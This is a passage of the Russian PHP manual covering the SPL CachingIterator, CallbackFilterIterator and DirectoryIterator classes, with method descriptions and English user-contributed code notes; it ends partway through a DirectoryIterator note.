CachingIterator::TOSTRING_USE_KEY

Использовать ключ при преобразовании в строку.

CachingIterator::TOSTRING_USE_CURRENT

Использовать текущий элемент при преобразовании в строку.

CachingIterator::TOSTRING_USE_INNER

Использовать внутренний итератор при преобразовании в строку.

CachingIterator::FULL_CACHE

Кеширование всей прочтённой информации.

Список изменений

Версия | Описание
8.0.0 | Класс CachingIterator теперь реализует интерфейс Stringable.

Содержание

  • CachingIterator::__construct — Создаёт новый объект CachingIterator для итератора
  • CachingIterator::count — Возвращает число элементов в итераторе
  • CachingIterator::current — Возвращает текущий элемент
  • CachingIterator::getCache — Получение содержимого кеша
  • CachingIterator::getFlags — Получает используемые флаги
  • CachingIterator::hasNext — Проверяет, имеет ли внутренний итератор допустимый следующий элемент
  • CachingIterator::key — Возвращает ключ для текущего элемента
  • CachingIterator::next — Перемещает итератор к следующему элементу
  • CachingIterator::offsetExists — Назначение offsetExists
  • CachingIterator::offsetGet — Назначение offsetGet
  • CachingIterator::offsetSet — Назначение offsetSet
  • CachingIterator::offsetUnset — Назначение offsetUnset
  • CachingIterator::rewind — Возвращает итератор в начало
  • CachingIterator::setFlags — Устанавливает флаги для объекта CachingIterator
  • CachingIterator::__toString — Возвращает строковое представление текущего элемента
  • CachingIterator::valid — Проверяет, является ли текущий элемент допустимым

User Contributed Notes

xedin dot unknown at gmail dot com 07-May-2020 05:19
Apparently, the `FULL_CACHE` flag automatically cancels the default flag `CALL_TOSTRING`. This is evident when one of the values cannot be converted to string: with the default `CALL_TOSTRING` flag, it would throw an error; without that flag, or with the `FULL_CACHE` flag, it does not.
ahmad dot mayahi at gmail dot com 25-Apr-2020 09:53
The only difference between CachingIterator and other Iterators such as ArrayIterator is the hasNext() method.

Since the data will be loaded into the memory, the CachingIterator is able to check whether the given iterator has a next element.

Let's demonstrate this by an example:

<?php
$iterator = new CachingIterator(new ArrayIterator(['C', 'C++', 'C#', 'PHP', 'Python', 'Go', 'Ruby']));

foreach ($iterator as $item) {
    if ($iterator->hasNext()) {
        echo $item.', ';
    } else {
        echo 'and '.$item;
    }
}

// C, C++, C#, PHP, Python, Go, and Ruby
?>

In this example I check whether the iterator has a next value, if so, I append a comma otherwise "and" will be appended to the last element.
jerome at chaman dot ca 15-Dec-2019 12:37
"cached iteration over another iterator" means this iterator is always one step behind the inner iterator. In other words, the "first" iteration will yield null:

<?php

$cit = new CachingIterator( new ArrayIterator( [ 'a', 'b', 'c']  ) );

echo $cit->current() ); // null
echo $cit->getInnerIterator()->current() ); // "a"

while($cit->hasNext()){

    // we start with a "next" since the "first" item is null
     $cit->next();
     echo $cit->current(), '<br>';

}
?>

iterating this way gives us an access, ahead, to the future item (aka current item of the inner iterator)
ahmad dot mayahi at gmail dot com 24-Oct-2016 07:54
<?php
//This snippet will print out all the cached elements (foreach) .

$cache  = new CachingIterator(new ArrayIterator(range(1,100)), CachingIterator::FULL_CACHE);

foreach ($cache as $c) {

}

print_r($cache->getCache());
?>


Создаёт новый объект CachingIterator для итератора

  • « CachingIterator
  • CachingIterator::count »
  • PHP Manual
  • CachingIterator
  • Создаёт новый объект CachingIterator для итератора

CachingIterator::__construct

(PHP 5, PHP 7, PHP 8)

CachingIterator::__construct — Создаёт новый объект CachingIterator для итератора

Описание

public CachingIterator::__construct(Iterator $iterator, int $flags = CachingIterator::CALL_TOSTRING)
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

iterator

Iterator для кеширования

flags

Битовые маски флагов.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает число элементов в итераторе

  • « CachingIterator::__construct
  • CachingIterator::current »
  • PHP Manual
  • CachingIterator
  • Возвращает число элементов в итераторе

CachingIterator::count

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

CachingIterator::count — Возвращает число элементов в итераторе

Описание

public CachingIterator::count(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает число элементов в итераторе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество проитерированных элементов.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий элемент

  • « CachingIterator::count
  • CachingIterator::getCache »
  • PHP Manual
  • CachingIterator
  • Возвращает текущий элемент

CachingIterator::current

(PHP 5, PHP 7, PHP 8)

CachingIterator::current — Возвращает текущий элемент

Описание

public CachingIterator::current(): mixed
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает текущий элемент в итерации.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Mixed

Смотрите также

  • Iterator::current() - Возврат текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Получение содержимого кеша

  • « CachingIterator::current
  • CachingIterator::getFlags »
  • PHP Manual
  • CachingIterator
  • Получение содержимого кеша

CachingIterator::getCache

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::getCache — Получение содержимого кеша

Описание

public CachingIterator::getCache(): array

Получение содержимого кеша.

Замечание:

Должен использоваться флаг CachingIterator::FULL_CACHE.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив array содержащий элементы кеша.

Ошибки

Выбрасывает BadMethodCallException в случае, если не установлен флаг CachingIterator::FULL_CACHE.

Примеры

Пример #1 Пример использования CachingIterator::getCache()

<?php
$iterator = new ArrayIterator(array(1, 2, 3));
$cache = new CachingIterator($iterator, CachingIterator::FULL_CACHE);

$cache->next();
$cache->next();
var_dump($cache->getCache());

$cache->next();
var_dump($cache->getCache());
?>

Результат выполнения данного примера:

array(2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}
array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Получает используемые флаги

  • « CachingIterator::getCache
  • CachingIterator::hasNext »
  • PHP Manual
  • CachingIterator
  • Получает используемые флаги

CachingIterator::getFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::getFlags — Получает используемые флаги

Описание

public CachingIterator::getFlags(): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Получает битовую маску флагов, используемых для данного экземпляра CachingIterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Описание...

User Contributed Notes

Anonymous 06-Feb-2015 09:57
use 'CachingIterator::TOSTRING_USE_INNER' flag

<?php
class A extends ArrayIterator {
    public function __toString(){
        return 'toString this class';
        }
    }

$iterator = new A(array('apple'=>10, 'banana'=>20, 'cat'=>30));
$cache    = new CachingIterator($iterator, CachingIterator::TOSTRING_USE_INNER);

$cache->next();
$cache->next();

echo $cache;

/*
output:
toString this class

*/
?>
kais7mg at qq dot com 06-Feb-2015 09:49
use the 'CachingIterator::TOSTRING_USE_KEY', when echo this Object,
output current 'key';

<?php
$iterator = new ArrayIterator(array('apple'=>10, 'banana'=>20, 'cat'=>30));
$cache    = new CachingIterator($iterator, CachingIterator::TOSTRING_USE_KEY);

$cache->next();
$cache->next();

echo $cache;
?>

output:
banana


Проверяет, имеет ли внутренний итератор допустимый следующий элемент

  • « CachingIterator::getFlags
  • CachingIterator::key »
  • PHP Manual
  • CachingIterator
  • Проверяет, имеет ли внутренний итератор допустимый следующий элемент

CachingIterator::hasNext

(PHP 5, PHP 7, PHP 8)

CachingIterator::hasNext — Проверяет, имеет ли внутренний итератор допустимый следующий элемент

Описание

public CachingIterator::hasNext(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

andresdzphp at php dot net 26-Sep-2011 01:08
CachingIterator::hasNext Example

<?php
$ait = new ArrayIterator(array('Value 1', 'Value 2', 'Value 3', 'Value 4'));
$cit = new CachingIterator($ait);

foreach ($cit as $value) {
    echo $value;
    //if has a next value, print a comma
    if ($cit->hasNext()) {
        echo ', ';
    }
}
?>

Result: Value 1, Value 2, Value 3, Value 4


Возвращает ключ для текущего элемента

  • « CachingIterator::hasNext
  • CachingIterator::next »
  • PHP Manual
  • CachingIterator
  • Возвращает ключ для текущего элемента

CachingIterator::key

(PHP 5, PHP 7, PHP 8)

CachingIterator::key — Возвращает ключ для текущего элемента

Описание

public CachingIterator::key(): scalar
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Этот метод может вернуть ключ для текущего элемента.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор к следующему элементу

  • « CachingIterator::key
  • CachingIterator::offsetExists »
  • PHP Manual
  • CachingIterator
  • Перемещает итератор к следующему элементу

CachingIterator::next

(PHP 5, PHP 7, PHP 8)

CachingIterator::next — Перемещает итератор к следующему элементу

Описание

public CachingIterator::next(): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Перемещает итератор к следующему элементу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetExists

  • « CachingIterator::next
  • CachingIterator::offsetGet »
  • PHP Manual
  • CachingIterator
  • Назначение offsetExists

CachingIterator::offsetExists

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::offsetExists — Назначение offsetExists

Описание

public CachingIterator::offsetExists(string $key): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

key

Индекс, который должен быть проверен.

Возвращаемые значения

Возвращает true, если элемент с указанным смещением существует, false - в противном случае.

User Contributed Notes

ddrake at dreamingmind dot com 16-Dec-2019 03:07
offsetExists($index) examines the cache, not the inner or outer iterator.

<?php
        $cache = new \CachingIterator(
            new \ArrayIterator(['a', 'b', 'c', 'd']),
            \CachingIterator::FULL_CACHE);

        $shortRange = range(0, 1);
        $fullRange = range(0, 3);

        foreach ($shortRange as $index) {
            $cache->next();
        }

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        foreach ($fullRange as $offset) {
            print_r("cache offset '$offset' " .
                ($cache->offsetExists("$offset") == 1
                    ? 'exists'
                    : "doesn't exist"
                ) . PHP_EOL);
        }
?>

The cache
array (
  0 => 'a',
  1 => 'b',
)
cache offset '0' exists
cache offset '1' exists
cache offset '2' doesn't exist
cache offset '3' doesn't exist


Назначение offsetGet

  • « CachingIterator::offsetExists
  • CachingIterator::offsetSet »
  • PHP Manual
  • CachingIterator
  • Назначение offsetGet

CachingIterator::offsetGet

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::offsetGet — Назначение offsetGet

Описание

public CachingIterator::offsetGet(string $key): mixed
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

key

Описание...

Возвращаемые значения

Описание...

User Contributed Notes

ddrake at dreamingmind dot com 16-Dec-2019 03:06
offsetGet($index) returns the value stored at $index in the cache. Until you've
iterated over the items, the cache is empty and the index will not exist.

 <?php
        $cache = new \CachingIterator(
            new \ArrayIterator(['a', 'b', 'c', 'd']),
            \CachingIterator::FULL_CACHE);

        $shortRange = range(0, 1);

        foreach ($shortRange as $index) {
            $cache->next();
        }

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        echo $cache->offsetGet('1') . PHP_EOL;
        echo $cache->offsetGet('2') . PHP_EOL;
?>

The cache
array (
  0 => 'a',
  1 => 'b',
)

b
Undefined index: 2


Назначение offsetSet

  • « CachingIterator::offsetGet
  • CachingIterator::offsetUnset »
  • PHP Manual
  • CachingIterator
  • Назначение offsetSet

CachingIterator::offsetSet

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::offsetSet — Назначение offsetSet

Описание

public CachingIterator::offsetSet(string $key, mixed $value): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

key

Индекс элемента.

value

Новое значение для элемента с индексомkey.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

ddrake at dreamingmind dot com 16-Dec-2019 03:23
offsetSet($index, $newval) will change an existing cache value or create a new cache entry

<?php
        $cache = new \CachingIterator(
            new \ArrayIterator(['a', 'b', 'c', 'd']),
            \CachingIterator::FULL_CACHE);

        $shortRange = range(0, 1);

        foreach ($shortRange as $index) {
            $cache->next();
        }

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        echo $cache->offsetSet('0', 'manual change') . PHP_EOL;
        echo $cache->offsetSet('3', 'manual entry') . PHP_EOL;
?>

The cache
array (
  0 => 'a',
  1 => 'b',
)

The cache
array (
  0 => 'manual change',
  1 => 'b',
  3 => 'manual entry',
)

There is no requirement that the offset exist in the inner iterator, or that the offset exists in the cache.

<?php
        $cache = new \CachingIterator(
            new \ArrayIterator([]),
            \CachingIterator::FULL_CACHE);

        echo $cache->offsetSet('22', 'manual entry') . PHP_EOL;

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        print_r("cache offset '22' " .
            ($cache->offsetExists('22') == 1
                ? 'exists'
                : "doesn't exist"
            ) . PHP_EOL);
?>

The cache
array (
  22 => 'manual entry',
)
cache offset '22' exists


Назначение offsetUnset

  • « CachingIterator::offsetSet
  • CachingIterator::rewind »
  • PHP Manual
  • CachingIterator
  • Назначение offsetUnset

CachingIterator::offsetUnset

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::offsetUnset — Назначение offsetUnset

Описание

public CachingIterator::offsetUnset(string $key): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

key

Индекс элемента, который будет удалён.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает итератор в начало

  • « CachingIterator::offsetUnset
  • CachingIterator::setFlags »
  • PHP Manual
  • CachingIterator
  • Возвращает итератор в начало

CachingIterator::rewind

(PHP 5, PHP 7, PHP 8)

CachingIterator::rewind — Возвращает итератор в начало

Описание

public CachingIterator::rewind(): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает итератор в начало.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает флаги для объекта CachingIterator

  • « CachingIterator::rewind
  • CachingIterator::__toString »
  • PHP Manual
  • CachingIterator
  • Устанавливает флаги для объекта CachingIterator

CachingIterator::setFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::setFlags — Устанавливает флаги для объекта CachingIterator

Описание

public CachingIterator::setFlags(int $flags): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает флаги для объекта CachingIterator.

Список параметров

flags

Битовая маска флагов для установки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление текущего элемента

  • « CachingIterator::setFlags
  • CachingIterator::valid »
  • PHP Manual
  • CachingIterator
  • Возвращает строковое представление текущего элемента

CachingIterator::__toString

(PHP 5, PHP 7, PHP 8)

CachingIterator::__toString — Возвращает строковое представление текущего элемента

Описание

public CachingIterator::__toString(): string
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Получает строковое представление текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строковое (string) представление текущего элемента.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли текущий элемент допустимым

  • « CachingIterator::__toString
  • CallbackFilterIterator »
  • PHP Manual
  • CachingIterator
  • Проверяет, является ли текущий элемент допустимым

CachingIterator::valid

(PHP 5, PHP 7, PHP 8)

CachingIterator::valid — Проверяет, является ли текущий элемент допустимым

Описание

public CachingIterator::valid(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Проверяет, является ли текущий элемент допустимым.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Класс CallbackFilterIterator

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Введение

Обзор классов

class CallbackFilterIterator extends FilterIterator {
/* Методы */
public __construct(Iterator $iterator, callable $callback)
public accept(): bool
/* Наследуемые методы */
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Примеры

Callback-функция может принимать до трёх аргументов: текущий элемент, текущий ключ и итератор соответственно.

Пример #1 Доступные аргументы обратного вызова

<?php

/**
* Callback-функция для CallbackFilterIterator
*
* @param $current Значение текущего элемента
* @param $key Ключ текущего элемента
* @param $iterator Фильтруемый итератор
* @return boolean TRUE для принятия текущего элемента, иначе - FALSE
*/
function my_callback($current, $key, $iterator) {
// Код фильтрации
}

?>

Любая callback-функция типа callable может быть использована. Например, строка, содержащая имя функции, массив для метода или анонимная функция.

Пример #2 Основные примеры обратного вызова

<?php

$dir = new FilesystemIterator(__DIR__);

// Фильтр больших файлов ( > 100MB)
function is_large_file($current) {
return $current->isFile() && $current->getSize() > 104857600;
}
$large_files = new CallbackFilterIterator($dir, 'is_large_file');

// Фильтр каталогов
$files = new CallbackFilterIterator($dir, function ($current, $key, $iterator) {
return $current->isDir() && ! $iterator->isDot();
});

?>

Содержание

  • CallbackFilterIterator::accept — Вызывает callback-функцию и передаёт ей в качестве аргументов текущее значение, текущий ключ и внутренний указатель
  • CallbackFilterIterator::__construct — Создаёт фильтрующий итератор на основе другого итератора

User Contributed Notes

asadi dot jabar at outlook dot com 06-Aug-2018 11:21
CallbackFilterIterator class  didnot implement   OuterIterator interface directly

below  is the correct hierarchy

 CallbackFilterIterator
          |__FilterIterator
             |___  IteratorIterator
                 |____ OuterIterator

please fix the documentation
tunaabutbul[plus]php[at]gmail[dot]com 03-Aug-2017 12:41
i PHP 7 you can use Anonymous classes to get the same results.

<?php

class MyIterator implements Iterator
{
    /**
     * @var \Iterator
     */
    protected $next;

    /**
     * Collection constructor.
     *
     * @param \Iterator $next
     */
    public function __construct(Iterator $next)
    {
        $this->next = $next;
    }

    /**
     * @param callable $callback
     *
     * @return static
     */
    public function filter(callable $callback = null)
    {
        return new static(new class($this, $callback) extends FilterIterator
        {
            protected $callback;

            public function __construct(\Iterator $iterator, callable $callback = null)
            {
                parent::__construct($iterator);

                $this->callback = $callback ?: function($current) {
                    return ! empty($current);
                };;
            }

            public function accept()
            {
                return call_user_func($this->callback, parent::accept());
            }
        });
    }
   // Iterator methods ...
}
// .......
?>
dave1010 at gmail dot com 25-May-2012 01:29
Implementation for PHP < 5.4:

<?php
if (!class_exists('CallbackFilterIterator')) {
    class CallbackFilterIterator extends FilterIterator {
        protected $callback;

        // "Closure" type hint should be "callable" in PHP 5.4
        public function __construct(Iterator $iterator, Closure $callback = null) {
            $this->callback = $callback;
            parent::__construct($iterator);
        }

        public function accept() {
            return call_user_func(
                $this->callback,
                $this->current(),
                $this->key(),
                $this->getInnerIterator()
            );
        }
    }
}

?>


Вызывает callback-функцию и передаёт ей в качестве аргументов текущее значение, текущий ключ и внутренний указатель

  • « CallbackFilterIterator
  • CallbackFilterIterator::__construct »
  • PHP Manual
  • CallbackFilterIterator
  • Вызывает callback-функцию и передаёт ей в качестве аргументов текущее значение, текущий ключ и внутренний указатель

CallbackFilterIterator::accept

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

CallbackFilterIterator::accept — Вызывает callback-функцию и передаёт ей в качестве аргументов текущее значение, текущий ключ и внутренний указатель

Описание

public CallbackFilterIterator::accept(): bool

Вызывает callback-функцию и передаёт ей в качестве аргументов текущее значение, текущий ключ и внутренний указатель.

Callback-функция должна возвращать true, если текущий элемент прошёл фильтр, false в противном случае.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если текущий элемент прошёл фильтр, false в противном случае.

Смотрите также

  • Примеры использования CallbackFilterIterator
  • CallbackFilterIterator::__construct() - Создаёт фильтрующий итератор на основе другого итератора

User Contributed Notes

There are no user contributed notes for this page.


Создаёт фильтрующий итератор на основе другого итератора

  • « CallbackFilterIterator::accept
  • DirectoryIterator »
  • PHP Manual
  • CallbackFilterIterator
  • Создаёт фильтрующий итератор на основе другого итератора

CallbackFilterIterator::__construct

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

CallbackFilterIterator::__construct — Создаёт фильтрующий итератор на основе другого итератора

Описание

public CallbackFilterIterator::__construct(Iterator $iterator, callable $callback)

Создаёт фильтрующий итератор, используя функцию callback для отбора или отклонения элементов.

Список параметров

iterator

Итератор, к которому применяется фильтр.

callback

Callback-функция, которая должна возвращать true, если текущий элемент прошёл фильтр, и false, если элемент отклонён. Смотрите примеры.

Может быть любым callable значением.

Смотрите также

  • Примеры использования CallbackFilterIterator
  • CallbackFilterIterator::accept() - Вызывает callback-функцию и передаёт ей в качестве аргументов текущее значение, текущий ключ и внутренний указатель

User Contributed Notes

There are no user contributed notes for this page.


Класс DirectoryIterator

(PHP 5, PHP 7, PHP 8)

Введение

Класс DirectoryIterator предоставляет простой интерфейс для просмотра содержимого каталогов файловой системы.

Обзор классов

class DirectoryIterator extends SplFileInfo implements SeekableIterator {
/* Методы */
public __construct(string $directory)
public current(): mixed
public getBasename(string $suffix = ""): string
public getExtension(): string
public getFilename(): string
public isDot(): bool
public key(): mixed
public next(): void
public rewind(): void
public seek(int $offset): void
public __toString(): string
public valid(): bool
/* Наследуемые методы */
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Содержание

  • DirectoryIterator::__construct — Создаёт новый итератор каталогов из пути
  • DirectoryIterator::current — Возвращает текущий элемент DirectoryIterator
  • DirectoryIterator::getBasename — Получает базовое имя текущего элемента DirectoryIterator
  • DirectoryIterator::getExtension — Получает расширение файла
  • DirectoryIterator::getFilename — Возвращает имя файла текущего элемента DirectoryIterator
  • DirectoryIterator::isDot — Определяет, является ли текущий элемент DirectoryIterator '.' или '.'.
  • DirectoryIterator::key — Возвращает ключ для текущего элемента DirectoryIterator
  • DirectoryIterator::next — Переход к следующему элементу DirectoryIterator
  • DirectoryIterator::rewind — Перемотка итератора DirectoryIterator назад к началу
  • DirectoryIterator::seek — Переход к элементу DirectoryIterator
  • DirectoryIterator::__toString — Получает имя файла в виде строки
  • DirectoryIterator::valid — Проверяет, является ли текущая позиция DirectoryIterator корректным файлом

User Contributed Notes

incredimike 06-Mar-2018 12:03
For some reason, the `isDot()` method doesn't return positive for the `.DS_Store` file generated by Mac OS's Finder. In practice, I've had to write code to explicitly check for this file:

<?php

foreach (new DirectoryIterator('../moodle') as $fileInfo) {
    if($fileInfo->isDot() || $fileInfo->getBasename() === '.DS_Store') continue;
    echo $fileInfo->getFilename() . "<br>\n";
}

?>
alvaro at demogracia dot com 19-Oct-2017 03:27
DirectoryIterator is just an lightweight SplFileInfo iterator and its methods operate on whatever item the internal cursor points to. In other words:

<?php
$iterator = new DirectoryIterator('C:\\');
echo $iterator->getPathname();
?>

... will NOT print "C:\" but the path of the first file or subdirectory retrieved, e.g. "C:\$Recycle.Bin".
abdel at elghafoud dot com 20-Feb-2014 11:39
Shows us recursively all files and catalogues in directory except "." and "..".

<?php

/**
 * @param string $directory
 * @param array $files
 * @return array
 */
public function recursiveDirectoryIterator ($directory = null, $files = array()) {
    $iterator = new \DirectoryIterator ( $directory );

    foreach ( $iterator as $info ) {
        if ($info->isFile ()) {
            $files [$info->__toString ()] = $info;
        } elseif (!$info->isDot ()) {
            $list = array($info->__toString () => $this->recursiveDirectoryIterator(
                        $directory.DIRECTORY_SEPARATOR.$info->__toString ()
            ));
            if(!empty($files))
                $files = array_merge_recursive($files, $filest);
            else {
                $files = $list;
            }
        }
    }
    return $files;
}

?>
rogier at dsone dot nl 16-Aug-2012 06:23
Beware of the behavior when using FilesystemIterator::UNIX_PATHS, it's not applied as you might expect.

I guess this flag is added especially for use on windows.
However, the path you construct the RecursiveDirectoryIterator or FilesystemIterator with will not be available as a unix path.
I can't say this is a bug, since most methods are just purely inherited from DirectoryIterator.

In my test, I'd expected a complete unix path. Unfortunately... not quite as expected:

<?php
         // say $folder = C:\projects\lang

        $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS;
        $d_iterator = new RecursiveDirectoryIterator($folder, $flags);

        echo $d_iterator->getPath();

?>

expected result: /projects/lang (or C:/projects/lang)
actual result: C:\projects\lang
Kunal Bhatia->kmasterzone@gmail dot com 15-Apr-2011 02:48
Deleting all files in a directory except the one which is last modified.
<?php
    $directory = dirname(__FILE__)."/demo";
    $filenames = array();
    $iterator = new DirectoryIterator($directory);
    foreach ($iterator as $fileinfo) {
        if ($fileinfo->isFile()) {
            $filenames[$fileinfo->getMTime()] = $fileinfo->getFilename();
        }
    }
    ksort($filenames);
    print_r($filenames);
    echo "\n";
    $i=0;
    if(sizeof($filenames)>1){
        foreach ($filenames as $file){
            if($i>0){
                echo $file."\n";
                unlink($directory."/".$file);
            }
            $i++;
        }
    }
?>
krystianmularczyk at gmail dot com 25-Jan-2009 03:31
Shows us all files and catalogues in directory except "." and "..".

<?php

foreach (new DirectoryIterator('../moodle') as $fileInfo) {
    if($fileInfo->isDot()) continue;
    echo $fileInfo->getFilename() . "<br>\n";
}

?>
David Lanstein 21-Jan-2009 12:50
DirectoryIterator::getBasename() has been also been available since 5.2.2, according to the changelog (not documented yet).  It takes a parameter $suffix, and is useful if, for instance, you use a naming convention for your files (e.g. ClassName.php).

The following code uses this to add recursively All*Tests.php in any subdirectory off of tests/, basically, suites of suites.

<?php
// PHPUnit boilerplate code goes here

class AllTests {
    public static function main() {
        $parameters = array('verbose' => true);
        PHPUnit_TextUI_TestRunner::run(self::suite(), $parameters);
    }

    public static function suite() {
        $suite = new PHPUnit_Framework_TestSuite('AllMyTests'); // this must be something different than the class name, per PHPUnit
        $it = new AllTestsFilterIterator(
                  new RecursiveIteratorIterator(
                      new RecursiveDirectoryIterator(dirname(__FILE__) . '/tests')));

        for ($it->rewind(); $it->valid(); $it->next()) {
            require_once($it->current());
            $className = $it->current()->getBasename('.php');
            $suite->addTest($className::suite());
        }

        return $suite;
    }
}
?>

Also, the AllTestsFilterIterator above extends FilterIterator, and contains one method, accept():

<?php
class AllTestsFilterIterator extends FilterIterator {
    public function accept() {
        if (preg_match('/All.*Tests\.php/', $this->current())) {
            return true;
        } else {
            return false;
        }
    }
}
?>
Mark van Straten 09-Jul-2008 07:56
Implements Iterator so you can foreach() over the content of the given directory


Создаёт новый итератор каталогов из пути

  • « DirectoryIterator
  • DirectoryIterator::current »
  • PHP Manual
  • DirectoryIterator
  • Создаёт новый итератор каталогов из пути

DirectoryIterator::__construct

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::__construct — Создаёт новый итератор каталогов из пути

Описание

public DirectoryIterator::__construct(string $directory)

Создаёт новый итератор каталогов из пути.

Список параметров

directory

Путь к каталогу, который необходимо обойти.

Ошибки

Выбрасывает исключение UnexpectedValueException, если directory не существует.

Выбрасывает ошибку ValueError, если directory является пустой строкой.

Список изменений

Версия | Описание
8.0.0 | Теперь выбрасывается ошибка ValueError, если directory является пустой строкой; ранее выбрасывалось исключение RuntimeException.

Примеры

Пример #1 Пример использования DirectoryIterator::__construct()

В данном примере будет выведено содержимое каталога, содержащего скрипт.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
if (!$fileinfo->isDot()) {
var_dump($fileinfo->getFilename());
}
}
?>

Смотрите также

  • SplFileInfo
  • Iterator

User Contributed Notes

h.man 08-Mar-2021 05:30
RecursiveDirectoryIterator seems to close file handles that are currently open. After using it "PHP Warning:  fwrite(): supplied resource is not a valid stream resource in..." is given...
ahmad dot mayahi at gmail dot com 12-Mar-2020 06:57
Many developers get confused between DirectoryIterator and FilesystemIterator, there are a few small differences that I'm goning to list them here:

DirectoryIterator:
* Includes the "." and ".." within the path.
* Numberd keys.
* Path is not included in in value.
* No configuration available.
* You do need to use "clone" when storing the elements into an array.

Example:
<?php
$files = [];
foreach ($dir as $key => $item) {
